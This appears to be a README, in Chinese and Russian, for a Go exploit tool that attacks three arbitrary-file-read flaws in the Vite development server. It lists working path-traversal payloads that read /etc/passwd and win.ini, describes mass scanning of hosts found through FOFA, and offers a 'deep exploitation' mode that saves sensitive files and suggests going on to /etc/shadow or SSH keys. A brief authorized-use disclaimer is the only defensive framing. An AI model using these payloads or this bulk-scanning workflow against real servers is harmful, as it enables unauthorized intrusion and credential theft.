
针对CVE-2025-30208和CVE-2025-31125的漏洞利用
Этот проект затрагивает 3 уязвимости: CVE-2025-30208 / CVE-2025-31125 / CVE-2025-31486, все они связаны с чтением произвольных файлов на сервере разработки Vite. Эти три уязвимости имеют широкое покрытие и просты в эксплуатации без ограничений.
CVE-2025-30208:
Windows: /@fs/C://Windows/win.ini?import&raw??
Linux: /@fs/etc/passwd?import&raw??
CVE-2025-31125
Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/etc/passwd?import&?inline=1.wasm?init
CVE-2025-31486
Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init
Часть пути /@fs может не указываться.
body="/@vite/client"
Версия Go: go 1.20 и выше
Перейдите в корневую директорию проекта
Сначала синхронизируйте зависимости
go mod tidy
Затем скомпилируйте проект
go build -o ViteVulScan -ldflags="-s -w" -trimpath .
Запустите скрипт:
./ViteVulScan
Также можно запустить проект прямо в корневой директории:
go run .
Скрипт поддерживает взаимодействие с fofa для поиска активов и последующего массового сканирования.
Чтобы использовать fofa, убедитесь, что файл app.ini находится в той же директории, что и скомпилированный бинарный файл, и измените файл app.ini в каталоге config. В поле fofakey укажите свой ключ fofa, num — примерное количество активов для сканирования.
Если у вас есть более подходящий синтаксис поиска fofa для этой уязвимости, вы можете изменить поле fofaQuery самостоятельно.
Usage of ./ViteVulScan:
http://example1.com
example2.com
127.0.0.1
Пример 1: Взаимодействие с fofa для массового сканирования:
./ViteVulScan -fofa

После завершения сканирования в каталоге result появится CSV-файл с URL-адресами успешно использованных уязвимостей, названный по временной метке:

Пример 2: Глубокое использование уязвимости для URL:
./ViteVulScan -u example.com -e

Если отображается "Использование успешно", можно проверить каталог result. Там будет подкаталог с именем сканированного URL. Содержимое чувствительных файлов будет декодировано и сохранено в исходном формате. Результат:

Например, в сохранённом файле result/localhost:5173/etc/passwd видно полное содержимое чувствительной информации, что удобно для дальнейшего использования (если удастся прочитать /etc/shadow или SSH-ключи сервера, можно использовать дальше).

Данный инструмент предназначен только для исследований в области безопасности и авторизованного тестирования. Не используйте его в незаконных целях. Ответственность за любое неавторизованное тестирование с использованием данного инструмента несёт пользователь.
| Параметр | Описание |
|---|
| -cve | Какую уязвимость CVE использовать для проверки. Поддерживает: CVE_2025_30208 / CVE_2025_31125 / CVE_2025_31486. По умолчанию используется CVE_2025_30208. |
| -fofa | При указании этого параметра происходит взаимодействие с fofa для массового сканирования полученных активов. |
| -u | -url | Указать одиночный URL-адрес для проверки. |
| -f | -filename | Указать имя файла для массовой проверки URL-адресов в нём. |
| -e | При указании этого параметра выполняется глубокое использование уязвимости для чтения различных чувствительных файлов и сохранения их локально. (Используйте с осторожностью, лучше всего для одиночной цели, то есть вместе с -u.) |